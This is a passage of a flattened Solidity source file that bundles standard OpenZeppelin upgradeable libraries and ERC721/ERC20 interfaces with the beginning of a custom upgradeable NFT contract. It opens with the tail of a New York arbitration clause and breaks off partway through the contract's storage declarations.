operation of law or otherwise. ARBITRATION All disputes related to this agreement shall be governed by and interpreted in accordance with the laws of New York, without regard to principles of conflict of laws. The parties to this agreement will submit all disputes arising under this agreement to arbitration in New York City, New York before a single arbitrator of the American Arbitration Association (“AAA”). The arbitrator shall be selected by application of the rules of the AAA, or by mutual agreement of the parties, except that such arbitrator shall be an attorney admitted to practice law New York. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section. **/ // File: @openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: contracts/interfaces/IFactory.sol pragma solidity ^0.8.0; interface IFactory { function canOverrideCostManager(address operator, address instance) external view returns (bool); } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File: @openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // File: contracts/lib/StringsW0x.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsW0x { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; int256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, int256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * uint256(length)); for (int256 i = 2 * length - 1; i > -1; --i) { buffer[uint256(i)] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/interfaces/ISafeHook.sol pragma solidity ^0.8.0; interface ISafeHook is IERC165Upgradeable { function executeHook(address from, address to, uint256 tokenId) external returns(bool success); } // File: contracts/interfaces/ICostManager.sol pragma solidity ^0.8.0; interface ICostManager is IERC165Upgradeable { function accountForOperation(address sender, uint256 info, uint256 param1, uint256 param2) external returns(uint256 spent, uint256 remaining); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ERC721UpgradeableExt.sol pragma solidity ^0.8.0; abstract contract ERC721UpgradeableExt is ERC165Upgradeable, IERC721MetadataUpgradeable, IERC721EnumerableUpgradeable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using AddressUpgradeable for address; using StringsW0x for uint256; // Token name string private _name; // Token symbol string private _symbol; // Contract URI string internal _contractURI; // Address of factory that produced this instance address public factory; // Utility token, if any, to manage during operations address public costManager; address public trustedForwarder; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; // Constants for shifts uint8 internal constant SERIES_SHIFT_BITS = 192; // 256 - 64 uint8 internal constant OPERATION_SHIFT_BITS = 240; // 256 - 16 // Constants representing operations uint8 internal constant OPERATION_INITIALIZE = 0x0; uint8 internal constant OPERATION_SETMETADATA = 0x1; uint8 internal constant OPERATION_SETSERIESINFO = 0x2; uint8 internal constant OPERATION_SETOWNERCOMMISSION = 0x3; uint8 internal constant OPERATION_SETCOMMISSION = 0x4; uint8 internal constant OPERATION_REMOVECOMMISSION = 0x5; uint8 internal constant OPERATION_LISTFORSALE = 0x6; uint8 internal constant OPERATION_REMOVEFROMSALE = 0x7; uint8 internal constant OPERATION_MINTANDDISTRIBUTE = 0x8; uint8 internal constant OPERATION_BURN = 0x9; uint8 internal constant OPERATION_BUY = 0xA; uint8 internal constant OPERATION_TRANSFER = 0xB; address internal constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD; uint256 internal constant FRACTION = 100000; string public baseURI; string public 